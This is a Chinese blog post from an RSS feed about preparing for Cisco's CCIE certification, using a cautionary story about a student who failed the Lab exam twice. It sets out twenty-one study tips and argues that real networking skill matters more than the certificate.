　　以前看过一个报道，一位来自中国贵州的学生在大学毕业后没有马上工作而是将目标瞄准了CCIE，他希望尽快获取这个证书并提升自己的就业门槛从而为以后增加收入，于是就在Cisco培训机构报了名并开始了刻苦的针对性学习，3个月后笔试方面顺利通过，但在随后的Lab考试中却被卡了下来，为了早日拿到这张证书，该学员继续报名考试，但CCIE Lab的考试费用也是一笔不小的投入（10375元人民币），上次报名就几乎耗尽了全家所有的积蓄，但即使这样该学员仍然四处借债并参加了第二次Lab考试，结果天不随人所愿，这次考试又以失败而告终，如果继续再考下去的话，经济问题已无法解决，不考吧，已经投入了太多，不甘心，最后闹得无路可走，极近崩溃。<br>
　　这个故事看上去有点凄凉，大多数人都会出于自觉而同情故事中的这位学员，但在同情之时我们也应该反思一些问题。如果仅站在学习的角度上来说，这位学员并不存在任何问题，因为求知欲向来是人的本性，更何况这位学员不气馁的精神也值得我们大家学习，那问题出在哪里呢？请看本节的标题，是的，态度决定一切。我认为造成该学员最后骑虎难下之境地的最直接原因，就是在报名学习之前对自己在宏观上没有一个初步的把握，即没有树立一个正确的决定态度，而在学习的过程中，应试色彩又太过强烈，从而忽视了学习自身的意义，造成考试失败，这又是学习态度所导致的。所以我认为&ldquo;态度决定一切&rdquo;中的这个&ldquo;态度&rdquo;，应该是决定态度和学习态度的结合。<br>
　　<br>
　　我问过很多学员一个同样的问题，在决定参加Cisco认证到正式在培训机构报名一共花了多少时间？大多数人都告诉我没花什么时间，想考就来报名咯，甚至有的人会说，虽然现在已经报了名，但我还没想好为什么会来。听到这些答案我只能说现在的年轻人太疯狂了，勇气可嘉不假，但做事起码要具有策略，一味的忘乎所以只会给自己带来不必要的麻烦。很显然，他们都犯了一个错误，即没有一个正确的事先决定态度。事实上，在你打算参加Cisco认证之前，最好先花一点时间来考虑几个问题，而不要首先草率的做出决定。比如目前你是否适合参加Cisco认证？你为什么要参加Cisco认证？一旦参加Cisco认证你是否能够坚持下来？如果不行那后果应该怎么处理？你是否已为Cisco认证的学习做好了准备等。其实这些问题就源自你在学习Cisco认证之前的个人态度，记住是之前，我认为这是很有必要的。根据经验来看，做事之前在宏观上有所把握的人一般在以后才会走得比较长远，如果决定比较仓促甚至完全没有，以后将会步步受限。好比F1赛车一样，通常车手在比赛之前都会对赛道作一个宏观的分析和记忆，以达到心中有数，这样出发后才能行云流水，因为他基本上明白哪里平缓，哪里弯曲，可如果在宏观上对赛道一无所知，比赛起来就会束手束脚，对整体的车速也是一种影响。<br>
　　<br>
　　而对于已做好准备，即将开始受训的Cisco学员来说，在学习的过程中还应该明确学习态度，我认为这是一个必须考虑到的事情。事实上，无论是Cisco公司设立工程师认证的出发点还是我们起初希望获得认证的目的，都是为了能够更好的服务于网络，CCIE成为一块金字招牌也是因为人们相信具备该证书人员的能力。但任何事物都是相对的，当人们都功利性的一味追求CCIE头衔带来的好处时，也许CCIE就没有那么至高无上了，相反则是充满了水分。目前CCIE在国内的待遇普遍比几年前有所下滑，这里面的原因错综复杂，除了数量上的不断递增以及竞争加剧之外，我认为目前CCIE的平均水平也是一个重要的参数。早些年的CCIE是一个萝卜一个坑，过硬的技术和正确的理念将他们推到了国家信息化建设的第一道阵线上，名利双收的同时也给后来人埋下了效仿的种子。几年之后，人们对待CCIE的态度发生了微妙的变化，事实上CCIE证书应该是对学习的一个总结，是网络技术到达一定水平的附属品，但大多数人却搞反了，把证书凌驾于学识之上，学习态度不够端正，往往目的性太强，这样出来的CCIE基本上不会得到社会的认可。<br>
　　<br>
　　再回到上面的那个故事，我认为这个学员的决定态度和学习态度都存在问题。首先他在学习之前就没有一个明确的态度，只是考虑尽快得到一张CCIE证书，但却忽视了自身的经济状况，虽然精神可嘉，但最后仍旧骑虎难下。事实上对于他来说，很显然经济基础是第一位的，他完全可以工作2年之后再参加考试，一来解决了经济上的后顾之忧，二来扩充了时间以便更加系统的学习，对以后考试的通过率也是一种提高，但遗憾的是，他太草率了。其次，该学员的学习目的性太强，学习态度不够端正，将精力都放在了应试上，即使他能够通过认证，但这样出来的CCIE谁敢用呢？事实上，Cisco公司也鼓励CCIE的学员最好具备2年以上的网络工作经验，其实强调的就是基础。<br>
　　<br>
　　虽然当前社会比较提倡自信，但我觉得在自信上面应该有所保留。毕竟Cisco认证考试不是砍瓜切菜，也不能手到擒来。精神上一马当先固然难能可贵，但往往态度决定一切。这里再次奉劝那些打算参加Cisco认证考试的朋友，在你即将走进培训机构大门的时候，应该首先问一下自己，我准备好了吗？<br>
　　<br>
　　<br>
　　正确有效的学习方法是获得认证的第一法宝<br>
　　<br>
　　树立正确的态度就能够在以后的学习及考试中马到功成吗？答案显然是否定的。事实上正确的态度仅仅是一个良好的开端，而正确有效的学习方法才是最终克敌制胜的法宝。Cisco考试多则一天（CCIE Lab）少则2、3个小时（普通笔试），短短的时间一晃而过，但却是对你长久以来学习的一次综合验收，只以成败论英雄，能否顺利过关完全由你的所学程度决定。由于Cisco认证的培训及考试费用一般都不低，所以大多数学员在学习上都比较投入，但即使这样通宵达旦的学习最终整体通过率也不高，这说明了什么？<br>
　　<br>
　　事实上对于大部分同等基础的学员来说，个人智商对最后的成绩影响不大，毕竟普通人的智商都相差无几，而能够让你决胜于千里之外的，其实还是一个正确而有效的学习方法。学习是一件极讲究策略的事情，而这个所谓的策略就是计划。国外的学者作过一次测试：让一个班的学生在同一个时间段里学习一门之前从未涉及过的课程，然后考试验收，结果发现每个人获取知识的程度都不相同，有深有浅，而造成这种现象的最主要原因其实就是学习方法的差异。显然对于Cisco认证来说，制定一个正确而有效的学习方法就是你通往成功的一剂灵丹妙药。<br>
　　<br>
　　中国的大儒孔子先生比较提倡因材施教。由于自身的局限性，所以我也不打算在下面反复的宣扬什么才是最好的学习方法，恐有孔雀开屏之嫌，更何况世上根本就没有一个对所有人都起作用的学习模式，适合张三的未必就适合李四。下面我仅以自己的一点体会总结出一些开放性的学习建议供大家在闲暇时参考，并给他们起了一个名字叫做《二十一条》，我自信的认为，只要你能实实在在的做到7条以上，就会收到意想不到的效果（以CCIE学习为例）。<br>
　　<br>
（1）从在Cisco培训机构报名的那天起就给自己制定一个完善的、可执行的学习计划。<br>
　　<br>
（2）坚贞不渝的执行学习计划，哪怕Cisco Systems公司明天就倒闭。<br>
　　<br>
（3）在课堂上坚持做笔记，这样有助于你日后的复习，当然如果你的装备够强，揣一个录音笔听讲的话效果会更好。<br>
　　<br>
（4）切忌滥竽充数，没听明白的内容一定要及时找讲师沟通并当天解决，不能留下任何知识死角。要时刻的告诫自己，即使留下一点后患也预示着前功尽弃。<br>
　　<br>
（5）神童是有的，但未必就是你。别太藐视Cisco考试，不提倡闭门造车，可以通过网络搜索一家良好的高级思科(CISCO)培训机构，这些具备专业化导向的机构将对你的学习有很大帮助。<br>
　　<br>
（6）如果你的英语水平一般最好及早饿补，不要让语言成为阻碍学习的绊脚石。<br>
　　<br>
（7）不要指望0基础拿下CCIE，提倡在学习CCIE之前最好具备基本的网络知识，有业内实践经验更佳。<br>
　　<br>
（8）鉴于国内学员基本上都在培训机构完成Cisco认证的学习，所以选择一家好的Cisco培训机构就显得相当重要。而对我们来说，显然讲师的水平和实验设备的完整性才是最重要的。<br>
　　<br>
（9）教材书目的选择是个重点，除了培训机构特定的之外，提倡多看一些相关知识的专业书籍，如果你的英语水平还不错，推荐英文原版。<br>
　　<br>
（10）对每一个CCIE学员来说学习压力无处不在，长期处在这种氛围下是致命的，你要学会自我分解与转化压力，通常来说最好的办法就是时刻告诫自己我是为了爱好而学。<br>
　　<br>
（11）试着和身边的学员私下建立一个学习小组，往往在互相讨论及提问中，你会发现自己的学习漏洞。<br>
　　<br>
（12）一定要认真对待讲师留下的练习题，即使简单也不要掉以轻心，往往这是一种信号，给你的将来指明道路。<br>
　　<br>
（13）要抓住实验室的每一秒时间，在这里浪费的越多，将来Lab考试失败的可能就越大。<br>
　　<br>
（14）考试前期的题库战术是必要的，但不能过分的依赖于它，由于各种原因，正确答案也可能不正确。<br>
　　<br>
（15）在学习中要特别注意逆向思维，CCIE的职责不仅仅只是设置、调试网络，而遇到困难时解决问题的能力事实上才是最需要的。<br>
　　<br>
（16）晚上睡觉之前将当天所学内容在脑子里放一遍幻灯，有则改之，无则加勉。<br>
　　<br>
（17）最大限度的了解Cisco设备、Cisco理念，最好的方式就是经常登录其官方网站。<br>
　　<br>
（18）关注网络发展状况，了解当前进展形势，在学习过程中试着用所学知识写一点专题技术文章或自我观点。<br>
　　<br>
（19）自信能够协助你完成整个学习过程，在蔑视困难的同时，也应该认真对待他。<br>
　　<br>
（20）如果对自己一段时间的学习没有信心，可以参加一下诸如CCIE集训营之类的强化训练班，通常在这里会得到足够的实验时间，对将来的Lab考试有益无害。<br>
　　<br>
（21）对于一个立志成为或者已经是CCIE的个人来说，学习是无止境的。<br>
　　<br>
　　毫无疑问，我们在将来会更加依赖于网络，这就意味着网络工程师这个职业任重而道远，虽然他们肩负的责任常人难于理解，但至少站在一个旁观者的角度上我们应该明白，&ldquo;网络工程师&rdquo;不仅仅只是一个头衔。如果你立志投身于计算机网络业，首先就要明确自身能力远比一些浮华缥缈的头衔来得实在，而对于希望取得CCIE认证的朋友来说，应该仔细斟酌一下CCIE中&ldquo;E&rdquo;字的含义。Expert代表专家而不是权力，何谓专家？我觉得在计算机网络范畴内，专家代表的是一种独到的见解，他们对网络技术问题的分析应该更具备权威性。而对一个互联网络专家来说是需要成长历程的，那些&ldquo;速成&rdquo;的专家都只能是昙花一现，压根就没有生命力。<br>
　　<br>
　　经过二十几年艰苦卓绝的改革，我国目前正处于经济高速增长中，社会发展对各种人才的需求已达到了历史最高点，其中尤以对高新技术人才的需要最为突出。事实上在这种形势下，看似给我们带来机会的同时也埋藏着更深的隐患，一方面是社会需要大量的人才，另一方面是人才的大量缺乏。在这个矛盾的制约下，整个社会就显得比较浮躁，而体现到具体的个人就是好高骛远，急于求成。这种风气是致命的，如不及时制止将会造成无法估量的后果。在这里我再次提醒一下那些即将或者已经成为网络工程师的朋友们，有人说CCIE is nothing but shit，这就是说仅仅持有CCIE证书并不意味着你具有什么价值，关键是看你能够承担多大的责任，你的能力应该是体现在解决问题的技术和方法上，一味的追求名誉而放弃学以致用是极端不明智和不成熟的</div> <a href="http://hi.baidu.com/csuwqz/blog/item/09c443f71f8e8724730eecae.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/csuwqz/blog/category/it%BC%BC%CA%F5">it技术</a>&nbsp;<a href="http://hi.baidu.com/csuwqz/blog/item/09c443f71f8e8724730eecae.html#comment">查看评论</a>]]></description>
        <pubDate>2008-07-27  14:22</pubDate>
        <category><![CDATA[it技术]]></category>
        <author><![CDATA[csuwqz]]></author>
		<guid>http://hi.baidu.com/csuwqz/blog/item/09c443f71f8e8724730eecae.html</guid>
</item>


</channel>
</rss>